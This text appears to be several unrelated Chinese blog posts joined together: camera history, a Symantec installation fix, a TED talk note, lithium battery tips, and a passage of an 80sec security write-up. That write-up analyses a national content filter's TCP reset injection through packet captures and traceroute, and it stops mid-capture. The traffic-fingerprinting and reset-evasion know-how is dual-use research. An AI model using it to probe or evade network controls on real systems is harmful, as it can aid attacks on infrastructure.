二是电路中的电子连线触点全部采用24K黄金处理，抗腐蚀性好而且不易氧化；
三是顶盖与底盖全部采用黄铜冲压成型，坚固耐用。

F3上市两年后尼康又推出带25mm高视点取景器的F3HP和用钛合金材料制造机身的F3/T型，另外还有一款具有防水功能的F3P型，1983年尼康又推出内置自动聚焦系统的F3AF。

尼康F3的问世立刻受到专业摄影者、职业摄影师的欢迎。自1980年问世到2001年停产，共生产了二十一年，成为一款长寿机，是尼康F系列里没有的。2001年由厂方传出停产后，立刻引起全世界的惊叹，许多人都为之惋惜。这时的F3成为了一种尼康精神与形象的化身，已不再单单是使用者手里的工具了。

2。Canon New F-1

1970年佳能公司终于找到研制生产专业相机的感觉，以F-1进军135专业相机市场，向尼康相机挑战。但实际上佳能F-1除了坚固耐用方面不输于随后出现的尼康F2，其综合因素、整体实力上还是远不及后者的。也就未对尼康专业相机的“王”者地位产生太大的影响。但佳能怎肯善罢甘休，十年后卷土重来，再次向专业相机的冲击，于1981年推出新F-1。再次挑战尼康。

一。镜头：同F-1一样，采用可互换式佳能卡口，可以接装FD、FL、R各系列镜头，其中FD镜头可全开光圈测光。

二。取景器：可更换式。有眼平五棱镜、AE取景器、快速取景器、腰平取景器、腰平放大取景器5种。标准取景器可观实际画幅97%，放大倍率0.8x，聚焦屏可以互换，共有12种之多。

三。测光：采用蓝硅(SPD)元件在聚焦屏后测光，通过更换不同的聚焦屏可以进行中央重点、局部、点测光三种测光方式。

四。快门：这种相机使用了早先曾在佳能EF及宾得LX型相机使用的电子、机械复合快门。就是有电池没电池都能使用。快门材质为超薄钛金属。从8秒到1/60秒为电子控制，1/125秒至1/2000秒及X(1/90秒)、B门为机械控制(这种快门目前又被运用到炒的很火的尼康FM3A上使用)。有音响式提示自拍器。配有专用自动闪光灯。

五。曝光方式：手动，快门先决（需配上FN马达或卷片器），光圈先决（需配上AE取景器）。

其它：有多次曝光，景深预测。后盖保险锁及可换的资料背及大容量后背。AE马达FN每秒可拍5幅。 新F-1的特点同尼康F3一样坚固耐用，用料十足。机身也是铝合金压铸而成，电路的电子触点均采用镀银。新F-1的另一个特点密封性特别好，据说它的防潮防氧化措施达到了军用品的标准。 同F-1一样新F-1的机身只是庞大的摄影系统的一部分，佳能厂为此还开发了许多的配件，只有这些专用配件同机身配合起来，才能发挥出相机本身更大、更先进的作用。 为了配合1984年洛杉矶奥动会，佳能公司还出了一款“新F-1高速马达相机”。最高速时达到每秒连拍14幅，除了机身加马达还有一个很大的电池盒装在机身下部。 佳能新F-1还有一个很有意思的问题，就是它表面的涂漆很容易磨掉，新机到手没几天就露了铜。有人分析说这是佳能公司有意而为，就是要这种相机给人以坚固耐用的印象，虽然表面会难看一些，但功能却完好。也让人们知道这种相机是拿来使用的工具不要吝惜，而非玩家手中的藏品。也却实如此，佳能新F-1同尼康F2一样，被人们公认为是“用不坏”的相机。 佳能新F1相机却有许多独到之处，在一些功能上甚至超过了尼康F3。它的问世给佳能公司带来许多声誉，也抢到一部分专业相机市场。只可惜的是佳能公司在随后的5年里虽然又生产了T系列（T50、T70、T90）手动镜头相机，但随即就转为生产EOS系列的AF相机，彻底拚弃了多年的FD卡口镜头接口。佳能的这一大胆举动伤了许多佳能拥趸者的心，老佳能用户一下子有了被遗弃的感觉，所以佳能新F-1虽然起点不低，而且红火了一阵，但很快就被人们所遗忘，远不如尼康F3那样独领风骚二十余年，成为手动相机的长青树。

“Symantec_Endpoint_Protection_检测到需要重新启动的挂起系统更改，请重新启动系统并重新运行安装”

一开始以为是试用版的瑞星没删干净，于是就重启啊重启啊重启啊……重启了4遍，才发现被Symantec给忽悠了……

想来想去，想起原来装Sql Server的时候也是这样的情况，估计处理的方法也一样，于是，打开regedit，找到

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Session Manager下的PendingFileRenameOperations，发现原来真的记录了一个挂起的操作，看长的模样象是金山清理专家的什么东西，不管三七二十一就给删了，再装SEP，果然一路顺风。

在TEDIndia，Pranav Mistry 展示了几项让实体世界和数字世界互动的工具，包括深入检视他的”第六感运算装置”，以及划时代的纸”计算机”。在问答中，Mistry 说，他要开放”第六感运算”背后的软件程序代码，让可能性无限延伸。

以下是一段视频，长达16分22秒。但是，我相信你一定不会错过任何一秒。哪怕是它有关于科技，演讲人有浓重的印度口音，但是它如此贴近我们的生活，如此关怀人性，努力把人从“机器前的机器”里解放出来，以至于你会目不转睛地看完这段实况，而且遐想翩翩，愿意努力活到22世纪。

如果说，Windows系统的图形化界面把人们从Dos系统下解放出来，用更符合直觉和人性的方法让人们对电脑进行操作是一次新技术的跨越的话，那么视频里这套Prarnav Mistry提供的第六感(Sixth Sense)装置，则是另外一次意义更为深远的腾跃。和它相比，目前甚嚣尘上的所谓“物流网”，只是这个新技术的小小注脚，无论在深度还是广度上，都无法与之比拟。 网络和电脑技术，终于使得数字世界和现实世界全面融合，人类升级为真正意义上的数位人！新时代就要开始了！

Keep your memories safe forever

锂离子电池的使用，注意三点：

1、如何为新电池充电

在使用锂电池中应注意的是，电池放置一段时间后则进入休眠状态，此时容量低于正常值，使用时间亦随之缩短。但锂电池很容易激活，只要经过3—5次正常的充放电循环就可 激活 电池，恢复正常容量。由于锂电池本身的特性，决定了它几乎没有记忆效应。因此用户手机中的新锂电池在激活过程中，是不需要特别的方法和设备的。不仅理论上是如此，从我自己的实践来看，从一开始就采用标准方法充电这种“自然激活”方式是最好的。

对于锂电池的“激活”问题，众多的说法是：充电时间一定要超过12小时，反复做三次，以便激活 电池。这种“前三次充电要充12小时以上”的说法，明显是从镍电池（如镍镉和镍氢）延续下来的说法。所以这种说法，可以说一开始就是误传。锂电池和镍电池的充放电特性有非常大的区别，而且可以非常明确的告诉大家，我所查阅过的所有严肃的正式技术资料都强调过充和过放电会对锂电池、特别是液体锂离子电池造成巨大的伤害。因而充电最好按照标准时间和标准方法充电，特别是不要进行超过12个小时的超长充电。通常，手机说明书上介绍的充电方法，就是适合该手机的标准充电方法。

此外，锂电池的手机或充电器在电池充满后都会自动停充，并不存在镍电充电器所谓的持续10几小时的“涓流”充电。也就是说，如果你的锂电池在充满后，放在充电器上也是白充。而我们谁都无法保证电池的充放电保护电路的特性永不变化和质量的万无一失，所以你的电池将长期处在危险的边缘徘徊。这也是我们反对长充电的另一个理由。

此外在对某些手机上，充电超过一定的时间后，如果不去取下充电器，这时系统不仅不停止充电，还将开始放电-充电循环。也许这种做法的厂商自有其目的，但显然对电池和手机/充电器的寿命而言是不利的。同时，长充电需要很长的时间，往往需要在夜间进行，而以我国电网的情况看，许多地方夜间的电压都比较高，而且波动较大。前面已经说过，锂电池是很娇贵的，它比镍电在充放电方面耐波动的能力差得多，于是这又带来附加的危险。

此外，不可忽视的另外一个方面就是锂电池同样也不适合过放电，过放电对锂电池同样也很不利。这就引出下面的问题。

2、正常使用中应该何时开始充电

在我们的论坛上，经常可以见到这种说法，因为充放电的次数是有限的，所以应该将手机电池的电尽可能用光再充电。但是我找到一个关于锂离子电池充放电循环的实验表，关于循环寿命的数据列出如下：

循环寿命 (10%DOD):>1000次

循环寿命 (100%DOD):>200次

其中DOD是放电深度的英文缩写。从表中可见，可充电次数和放电深度有关，10%DOD时的循环寿命要比100%DOD的要长很多。当然如果折合到实际充电的相对总容量：10%*1000=100，100%*200=200，后者的完全充放电还是要比较好一些，但前面网友的那个说法要做一些修正：在正常情况下，你应该有保留地按照电池剩余电量用完再充的原则充电，但假如你的电池在你预计第2天不可能坚持整个白天的时候，就应该及时开始充电，当然你如果愿意背着充电器到办公室又当别论。

而你需要充电以应付预计即将到来的会导致通讯繁忙的重要事件的时候，即使在电池尚有很多余电时，那么你也只管提前充电，因为你并没有真正损失“1”次充电循环寿命，也就是“0.x”次而已，而且往往这个x会很小。

电池剩余电量用完再充的原则并不是要你走向极端。和长充电一样流传甚广的一个说法，就是“尽量把手机电池的电量用完，最好用到自动关机”。这种做法其实只是镍电池上的做法，目的是避免记忆效应 发生，不幸的是它也在锂电池上流传之今。曾经有人因为手机电池电量过低的警告出现后，仍然不充电继续使用一直用到自动关机的例子。结果这个例子中的手机在后来的充电及开机中均无反应，不得不送客服检修。这其实就是由于电池因过度放电而导致电压过低，以至于不具备正常的充电和开机条件造成的。

3、对锂电池手机的正确做法

归结起来，我对锂电池手机在使用中的充放电问题最重要的提示是：

1、按照标准的时间和程序充电，即使是前三次也要如此进行；

2、当出现手机电量过低提示时，应该尽量及时开始充电；

3、锂电池的激活并不需要特别的方法，在手机正常使用中锂电池会自然激活 。如果你执意要用流传的“前三次12小时长充电 激活 ”方法，实际上也不会有效果。

因此，所有追求12小时超长充电和把锂电池手机用到自动关机的做法，都是错误的。如果你以前是按照错误的说法做的，请你及时改正，也许为时还不晚。

当然，在手机及充电器自身保护和控制电路质量良好的情况下，对锂电池的保护还是有相当保证的。所以对充电规则的理解才是重点，在某些情况下也是可以做出某种让步的。比如你发现手机在你夜晚睡觉前必须充电的话，你也可以在睡前开始充电。问题的关键在于，你应该知道正确的做法是什么，并且不要刻意按照错误的说法去做。

关键就是前几次充电一定要充好！

对某款国家级内容过滤系统Dos安全缺陷分析

Author:    jianxin [80sec]
EMail:    jianxin#80sec.com
Site:    http://www.80sec.com
Date:    2009-1-2
From:    http://www.80sec.com/release/dos-with-XXX.txt

[ 目录 ]

0x00    前言
0x01    know it，了解这款内容过滤系统
0x02    Hack it，对防火墙类ids的一些安全研究
0x03    后话

0x00    前言

    最近在学习网络基础知识，秉承Hack to learn的作风，想对学习做个总结就想到分析一些网络设备的安全问题来作为一次总结。相信对于某款国家级内容过滤系统大家都不陌生，也被称为国家边界防火墙，其本质上只是一款强大的入侵检测系统，并且在某些行为发生时对网络攻击进行实时的联动阻断。这里对它的作用并不做探讨，对如何绕过它也不做分析，这里仅仅是将它看作一款功能强大的国家级IPS，从技术角度来讨论下这类IPS在关键网络部署时可能存在的一些安全问题以及对普通网站的影响。

0x01    know it，了解这款内容过滤系统

    同一般的入侵检测系统或者其他号称网关级别过滤系统类似，它定义了一些策略以阻止某些危险的网络访问，其策略包含静态封禁也包含动态封禁，譬如对于Google和Yahoo类搜索引擎来说，国内用户在使用这些站点时如果触发了敏感的关键词的话，其IP就会被动态封禁一段时间，几分钟之类将不能再使用Google，这里的关键词就是被防火墙所定义的危险行为，譬如拿关键词Freenet/freenet来说，在Google里进行一次搜索请求之后就会发现Google在几分钟之内将不再能被访问，多余所有其他处于国外的服务器效果也是一样。我分析的整个过程如下:

    首先对正常的一次Google访问抓包，可以看到结果如下：

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:39:26.261092 IP (tos 0x0, ttl 64, id 33001, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.44297 > 64.233.189.103.80: S, cksum 0xcc0f (correct), 1790346900:1790346900(0) win 5840 <mss 1460,sackOK,timestamp 329341 0,nop,wscale 4>
22:39:26.349797 IP (tos 0x0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.44297: S, cksum 0x3698 (correct), 3974796664:3974796664(0) ack 1790346901 win 5672 <mss 1412,sackOK,timestamp 1072157681 329341,nop,wscale 6>
22:39:26.350452 IP (tos 0x0, ttl 64, id 33002, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x79d7 (correct), 1790346901:1790346901(0) ack 3974796665 win 365 <nop,nop,timestamp 329364 1072157681>
22:39:36.161454 IP (tos 0x0, ttl 64, id 33003, offset 0, flags [DF], proto TCP (6), length 67) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0xa1a9 (correct), 1790346901:1790346916(15) ack 3974796665 win 365 <nop,nop,timestamp 331806 1072157681>
22:39:36.248632 IP (tos 0x0, ttl 50, id 41053, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0x4a9a (correct), 3974796665:3974796665(0) ack 1790346916 win 89 <nop,nop,timestamp 1072167593 331806>
22:39:37.476626 IP (tos 0x0, ttl 64, id 33004, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.44297 > 64.233.189.103.80: P, cksum 0x3e36 (correct), 1790346916:1790346917(1) ack 3974796665 win 365 <nop,nop,timestamp 332133 1072167593>
22:39:37.563675 IP (tos 0x0, ttl 50, id 41054, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.44297: ., cksum 0x442e (correct), 3974796665:3974796665(0) ack 1790346917 win 89 <nop,nop,timestamp 1072168909 332133>
22:39:37.611453 IP (tos 0x0, ttl 50, id 41055, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974796665:3974798065(1400) ack 1790346917 win 89 <nop,nop,timestamp 1072168933 332133>
22:39:37.611545 IP (tos 0x0, ttl 64, id 33005, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x3cb3 (correct), 1790346917:1790346917(0) ack 3974798065 win 546 <nop,nop,timestamp 332167 1072168933>
22:39:37.624333 IP (tos 0x0, ttl 50, id 41056, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974798065:3974799465(1400) ack 1790346917 win 89 <nop,nop,timestamp 1072168933 332133>
22:39:37.624364 IP (tos 0x0, ttl 64, id 33006, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x3683 (correct), 1790346917:1790346917(0) ack 3974799465 win 727 <nop,nop,timestamp 332170 1072168933>
22:39:37.642937 IP (tos 0x0, ttl 50, id 41057, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974799465:3974800865(1400) ack 1790346917 win 89 <nop,nop,timestamp 1072168933 332133>
22:39:37.642953 IP (tos 0x0, ttl 64, id 33007, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x3051 (correct), 1790346917:1790346917(0) ack 3974800865 win 908 <nop,nop,timestamp 332175 1072168933>
22:39:37.646286 IP (tos 0x0, ttl 50, id 41058, offset 0, flags [none], proto TCP (6), length 532) 64.233.189.103.80 > 192.168.1.4.44297: P 3974800865:3974801345(480) ack 1790346917 win 89 <nop,nop,timestamp 1072168933 332133>
22:39:37.646302 IP (tos 0x0, ttl 64, id 33008, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x2dc1 (correct), 1790346917:1790346917(0) ack 3974801345 win 1083 <nop,nop,timestamp 332176 1072168933>
22:39:37.717617 IP (tos 0x0, ttl 50, id 41059, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974801345:3974802745(1400) ack 1790346917 win 89 <nop,nop,timestamp 1072169045 332167>
22:39:37.717634 IP (tos 0x0, ttl 64, id 33009, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x2713 (correct), 1790346917:1790346917(0) ack 3974802745 win 1264 <nop,nop,timestamp 332193 1072169045>
22:39:37.736610 IP (tos 0x0, ttl 50, id 41060, offset 0, flags [none], proto TCP (6), length 1452) 64.233.189.103.80 > 192.168.1.4.44297: . 3974802745:3974804145(1400) ack 1790346917 win 89 <nop,nop,timestamp 1072169045 332167>
22:39:37.736645 IP (tos 0x0, ttl 64, id 33010, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x20e1 (correct), 1790346917:1790346917(0) ack 3974804145 win 1445 <nop,nop,timestamp 332198 1072169045>
22:39:37.755088 IP (tos 0x0, ttl 50, id 41061, offset 0, flags [none], proto TCP (6), length 1449) 64.233.189.103.80 > 192.168.1.4.44297: P 3974804145:3974805542(1397) ack 1790346917 win 89 <nop,nop,timestamp 1072169045 332167>
22:39:37.755107 IP (tos 0x0, ttl 64, id 33011, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.44297 > 64.233.189.103.80: ., cksum 0x1ab2 (correct), 1790346917:1790346917(0) ack 3974805542 win 1626 <nop,nop,timestamp 332203 1072169045>

    我们可以看到完整的一次请求过程，先是三次握手，然后是发数据包以及服务器和客户端之间的完整交互，从这里我们可以识别出Google服务器的一些指纹特征，譬如未设置不分片标志，TTL值比较恒定为50等等。
    那么当一次非法的请求发生时，情况会是怎么样的呢？譬如在Google里搜索会被封禁的关键词freenet的时候，结果如下：

bt ~ # nc -vv 64.233.189.103 80
hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open
GET /?q=freenet HTTP/1.1

sent 26, rcvd 0
bt ~ #

    可以看到一发送非法的请求之后Google就主动断开了链接，整个过程的网络抓包如下：

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
22:54:15.744058 IP (tos 0x0, ttl 64, id 36724, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.42909 > 64.233.189.103.80: S, cksum 0xd712 (correct), 2729633795:2729633795(0) win 5840 <mss 1460,sackOK,timestamp 550775 0,nop,wscale 4>
22:54:15.831374 IP (tos 0x0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0x9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672 <mss 1412,sackOK,timestamp 1081539534 550775,nop,wscale 6>
22:54:15.831408 IP (tos 0x0, ttl 64, id 36725, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.42909 > 64.233.189.103.80: ., cksum 0xd4a3 (correct), 2729633796:2729633796(0) ack 1209516568 win 365 <nop,nop,timestamp 550797 1081539534>
22:54:31.619002 IP (tos 0x0, ttl 64, id 36726, offset 0, flags [DF], proto TCP (6), length 77) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0xd6e1 (correct), 2729633796:2729633821(25) ack 1209516568 win 365 <nop,nop,timestamp 554727 1081539534>
22:54:31.727889 IP (tos 0x0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0x8867 (correct), 1209516568:1209516568(0) ack 2729633821 win 89 <nop,nop,timestamp 1081555371 554727>
22:54:32.065444 IP (tos 0x0, ttl 64, id 36727, offset 0, flags [DF], proto TCP (6), length 53) 192.168.1.4.42909 > 64.233.189.103.80: P, cksum 0x7cdb (correct), 2729633821:2729633822(1) ack 1209516568 win 365 <nop,nop,timestamp 554838 1081555371>
22:54:32.148169 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0x3399 (correct), 1209516568:1209516568(0) win 2605
22:54:32.151504 IP (tos 0x0, ttl 50, id 12869, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.4.42909: ., cksum 0x863a (correct), 1209516568:1209516568(0) ack 2729633822 win 89 <nop,nop,timestamp 1081555816 554838>
22:54:32.151840 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0
22:54:32.153474 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0x1779 (correct), 1209516568:1209516568(0) win 9805

    可以看到的是，用户在发送完push包之后，Google的服务器也就是64.233.189.103返回了ack数据包表示收到了该请求，并且回复的ack包的序列号跟预期的一致，这里有两次push是因为我用nc提交的，加的回车会单独发一个过去。这样理论上服务器应该马上会回复一个push包响应我们前面的请求，但是结果我们收到了一个意外的rst包如下：

22:54:32.148169 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0x3399 (correct), 1209516568:1209516568(0) win 2605

并且该诡异的tcp包还发了两次，然后我们的客户端就以为服务器重置了该链接，这个时候服务器还老老实实的回复了一个对前面的push包的确认包，不过这个包已经被前面莫名其妙的rst包用掉了，并且客户端也按要求重置了链接，所以就回复了一个rst包：

22:54:32.151840 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40) 192.168.1.4.42909 > 64.233.189.103.80: R, cksum 0xbd24 (correct), 2729633822:2729633822(0) win 0

恩，这个tcp链接到这里玩完了。那么这个莫名其妙的rst包是谁发出来的呢？首先来确认下是不是Google自己抽风发出来的吧。注意最上面提到的正常情况下来自Google返回的包的指纹，我们可以看到如下几个地方发生了明显的变化：

22:54:15.831374 IP (tos 0x0, ttl 50, id 12868, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.42909: S, cksum 0x9163 (correct), 1209516567:1209516567(0) ack 2729633796 win 5672 <mss 1412,sackOK,timestamp 1081539534 550775,nop,wscale 6>
22:54:32.148169 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.42909: R, cksum 0x3399 (correct), 1209516568:1209516568(0) win 2605

    首先ttl发生了变化，这在默认情况下基本代表了设备在网络上的位置，另外ID在系统内被用来识别一个tcp包，明显的差异过大，然后Google的服务器还返回了一堆可选字段的内容，但是那个怪异的rst包完全没有这个特征，通过这些基本可以确认这个rst包并非来自于真正的Google服务器，通过多抓几次数据包就可以证明这个结论。那么这个设备是出于哪个位置呢？我们简单的tracert下看看结果：

traceroute to 64.233.189.103 (64.233.189.103), 30 hops max, 38 byte packets
1  localhost (192.168.1.1)  4.667 ms  1.949 ms  1.650 ms
2  114.249.208.1 (114.249.208.1)  28.304 ms  28.438 ms  34.123 ms
3  125.35.65.97 (125.35.65.97)  26.429 ms  27.363 ms  25.844 ms
4  bt-227-109.bta.net.cn (202.106.227.109)  27.641 ms  26.971 ms  27.268 ms
5  61.148.153.121 (61.148.153.121)  26.936 ms  27.722 ms  27.802 ms
6  123.126.0.121 (123.126.0.121)  27.675 ms  26.996 ms  28.620 ms
7  219.158.4.94 (219.158.4.94)  82.732 ms  82.175 ms  82.608 ms
8  219.158.3.66 (219.158.3.66)  69.978 ms  70.491 ms  136.986 ms
9  219.158.3.130 (219.158.3.130)  77.807 ms  87.424 ms  446.165 ms
10  219.158.32.230 (219.158.32.230)  413.888 ms  87.384 ms  86.614 ms
11  64.233.175.207 (64.233.175.207)  114.188 ms  79.037 ms  113.107 ms
12  209.85.241.56 (209.85.241.56)  87.721 ms  88.063 ms  87.341 ms
13  66.249.94.6 (66.249.94.6)  87.068 ms  99.377 ms  94.140 ms
14  hkg01s01-in-f103.1e100.net (64.233.189.103)  86.094 ms  85.901 ms  86.429 ms

    ttl是数据包在网络上的存活时间，每经过一个路由器这个ttl就会减1，可以避免某些数据包无止境的在网络上传输，所以可以被用来确认设备离我们主机在网络上的跳数和距离。我们在抓包的时候可以发现我们默认发出去的数据包ttl是64，我这里用的是linux的系统，一般的网络设备初始值为64，128，255，linux类系统的初始值一般都为64，所以这里我们可以看到Google返回值是50，这是可以确认的，因为可以看到我们到google有14跳，一般linux服务器的初始值为64，到我们这正好是50。那么这个ttl=53的异常包是在哪呢？64-53=11，哦，应该是在11跳左右，到路由上链上找找就发现可能是64.233.175.207这个IP发的，但是去查却会发现这个ip是Google的，米国人民劫持我们的数据包不让访问Google？不太靠谱啊，那么很可能是从第10旁路出去的包，查查第10跳发现是网通骨干网的，这理论上就是可能的了，当然，这之前的节点都有可能，但是最有可能的应该还是这个节点，因为这个节点可以监视所有出口的流量嘛！
    再来分析下是如何拒绝掉我们的链接的，该设备嫁接在骨干网上，说是嫁接是因为做这个事情的应该不是骨干路由器，从TTL或者其他一些常识可以看出来，毕竟骨干路由上直接做操作的话风险太大了，不能影响正常应用这是防火墙起码的要求，既然该设备能处于这么一个位置，那么自然可以做到将流量以镜像的方式导入到自己的设备上，并且实时的监视整个tcp的链接。我们知道想表示一条正常的tcp链接是需要五元组的，包括协议，源端口，源IP，目的端口，目的IP，想完整的控制一个tcp链接还需要在这个基础上加一个seq，ack序列号表示正常的tcp进行的状态，想猜测这些基本是不可能的。黑客多少年梦想的对这些的预测都可以轻易在骨干路由上的旁路设备实现，在某些省市大行劫持之道的运营商面前，黑客是个弱势群体。既然有五元组，还有序列号，那么对tcp的操作自然非常简单了，最高明的就是一个rst包让整个tcp链接直接消失掉。有些文章说这个神奇的设备会向两边发送rst包，从我的抓包分析结果来看，看起来这个结论并不可靠，如果向google发送了rst包的话，那么后面一个push的ack包就应该是没有收到才对。另外可以看到，第一个push包发出去之后，这个神奇的设备就有了反应，并不等我第二个包请求发出去凑成一个完整的http请求我们就收到了rst包，这个push包触发了特征了。但是我比较奇怪的是，如果是这样，那么很可能在时间上出现服务器的push包比rst包先到达，这样就起不到阻断的作用，但是从距离和服务器需要对请求响应这点来看，这发生的几率比较小，另外一种可能是，我们客户端发送的rst包到达Google服务器的时候，服务器的push包已经发送到我们的客户端了，尽管不能完成展现，但是包已经收到了，不是么，呵呵！另外一点，从多次试验的结果来看，我们通过在系统底层处理掉id=64的包，是可以完成这一次请求的，水平有限，以后再测试：）
    但是这一次的请求被你侥幸获取并不能意味着什么，防火墙的另外一个强大功能你还没有体验，那就是灰名单动态封禁功能，通过上面的请求，你已经被认为是黑客触发了防火墙的规则，你的ip和目标服务器之间的请求将临时性的出现问题。正常情况下到Google的TCP连接如下，这里演示的是nc链接到服务器并且断掉的结果：

bt ~ # nc -vv 64.233.189.103 80
hkg01s01-in-f103.1e100.net [64.233.189.103] 80 (http) open
sent 0, rcvd 0
bt ~ #

这里我按了下ctrl+c的

bt ~ # tcpdump -nn -vv -S port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:53:12.553207 IP (tos 0x0, ttl 64, id 20037, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.46064 > 64.233.189.103.80: S, cksum 0xc664 (correct), 2283082267:2283082267(0) win 5840 <mss 1460,sackOK,timestamp 285790 0,nop,wscale 4>
21:53:12.637507 IP (tos 0x0, ttl 50, id 23363, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.2.46064: S, cksum 0xbbe7 (correct), 889377555:889377555(0) ack 2283082268 win 5672 <mss 1412,sackOK,timestamp 918539372 285790,nop,wscale 6>
21:53:12.637539 IP (tos 0x0, ttl 64, id 20038, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xff28 (correct), 2283082268:2283082268(0) ack 889377556 win 365 <nop,nop,timestamp 285811 918539372>
21:53:18.110166 IP (tos 0x0, ttl 64, id 20039, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: F, cksum 0xf9d1 (correct), 2283082268:2283082268(0) ack 889377556 win 365 <nop,nop,timestamp 287177 918539372>
21:53:18.206770 IP (tos 0x0, ttl 50, id 23364, offset 0, flags [none], proto TCP (6), length 52) 64.233.189.103.80 > 192.168.1.2.46064: F, cksum 0xe535 (correct), 889377556:889377556(0) ack 2283082269 win 89 <nop,nop,timestamp 918544923 287177>
21:53:18.206805 IP (tos 0x0, ttl 64, id 20040, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.2.46064 > 64.233.189.103.80: ., cksum 0xe408 (correct), 2283082269:2283082269(0) ack 889377557 win 365 <nop,nop,timestamp 287202 918544923>

那么如果触发规则之后的请求是什么样子的呢：

bt ~ # tcpdump -vv -nn -S host 64.233.189.103 and port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
00:18:31.651147 IP (tos 0x0, ttl 64, id 22184, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.4.49124 > 64.233.189.103.80: S, cksum 0x6925 (correct), 3774335672:3774335672(0) win 5840 <mss 1460,sackOK,timestamp 1809424 0,nop,wscale 4>
00:18:31.739447 IP (tos 0x0, ttl 50, id 44562, offset 0, flags [none], proto TCP (6), length 60) 64.233.189.103.80 > 192.168.1.4.49124: S, cksum 0x97db (correct), 3821251813:3821251813(0) ack 3774335673 win 5672 <mss 1412,sackOK,timestamp 1098842086 1809424,nop,wscale 6>
00:18:31.739469 IP (tos 0x0, ttl 64, id 22185, offset 0, flags [DF], proto TCP (6), length 52) 192.168.1.4.49124 > 64.233.189.103.80: ., cksum 0xdb1b (correct), 3774335673:3774335673(0) ack 3821251814 win 365 <nop,nop,timestamp 1809446 1098842086>
00:18:31.820608 IP (tos 0x0, ttl 53, id 64, offset 0, flags [none], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.4.49124: R, cksum 0x6ea9 (correct), 3821251814:3821251814(0) win 12379

三次握手之后，立刻那个莫名其妙rst包出现了，就在服务器等待客户端给它数据的时候，我们一个rst包结束了这个tcp连接的生命，这个特征依然很明显，id是64，ttl=53。但是在另外的一次测试过程中，我抓到了这样的包：

bt ~ # tcpdump -nn -vv -S port 80
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes
21:47:54.614462 IP (tos 0x0, ttl 64, id 20834, offset 0, flags [DF], proto TCP (6), length 60) 192.168.1.2.53343 > 64.233.189.103.80: S, cksum 0x8ead (correct), 1951758128:1951758128(0) win 5840 <mss 1460,sackOK,timestamp 206418 0,nop,wscale 4>
21:47:54.691420 IP (tos 0x0, ttl 42, id 26966, offset 0, flags [DF], proto TCP (6), length 40) 64.233.189.103.80 > 192.168.1.2.53343: S, cksum 0x273e (correct), 2970573198:2970573198(0) ack 1951758129 win 453
